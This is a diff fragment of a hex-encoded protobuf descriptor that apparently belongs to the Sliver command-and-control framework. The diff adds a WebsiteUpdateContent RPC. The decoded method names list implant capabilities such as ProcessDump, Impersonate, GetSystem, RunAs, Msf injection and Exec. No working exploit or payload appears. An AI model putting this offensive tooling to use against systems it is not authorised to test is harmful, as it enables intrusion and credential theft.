0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, - 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, - 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, - 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, + 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, + 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, + 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, - 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, - 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, + 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, + 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, + 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, + 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, + 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, - 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, - 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, - 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, - 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, - 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, - 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, - 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, - 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, - 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, - 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, - 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, - 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, - 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, - 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, - 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, + 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, + 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, + 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, + 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, + 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, + 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, + 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, + 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, + 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, + 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, + 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, + 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, + 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, - 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, - 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, - 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, - 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, - 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, - 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, + 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, + 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, + 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, + 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, + 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, + 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, + 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, - 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, - 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, - 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, - 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, - 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, - 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, - 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, - 0x0f, 0x45, 0x78, 0x65, 0x63, 